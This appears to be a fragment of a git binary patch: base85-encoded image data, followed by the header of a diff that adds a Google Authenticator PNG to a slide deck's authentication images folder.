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 X2POThv<23P00000NkvXXu0mjfnNK_c literal 0 HcmV?d00001 diff --git a/content/slides/1337/images/authentication/google-authenticator.png b/content/slides/1337/images/authentication/google-authenticator.png new file mode 100644 index 0000000000000000000000000000000000000000..370701e036963b8fd0daa2c190cc8259dca06ee1 GIT binary patch literal 19601 zcmV)lK%c*fP)<h;3K|Lk000e1NJLTq00BGz00BG*1ONa4_YB32002x_Nkl<Zc%1FM zd7LCidFTCoBD2oErsvk^LI(nAki{XuU@mdk@~(Mp?44n4uC;|FuC=|!?|SiqT5WR} z+ZeGnhX#-k0t_=8Ha=u80wJ&$@Jbv)qhm$_U2|W3*OeKue`MX2m6e&5Roy-6-+ZRK 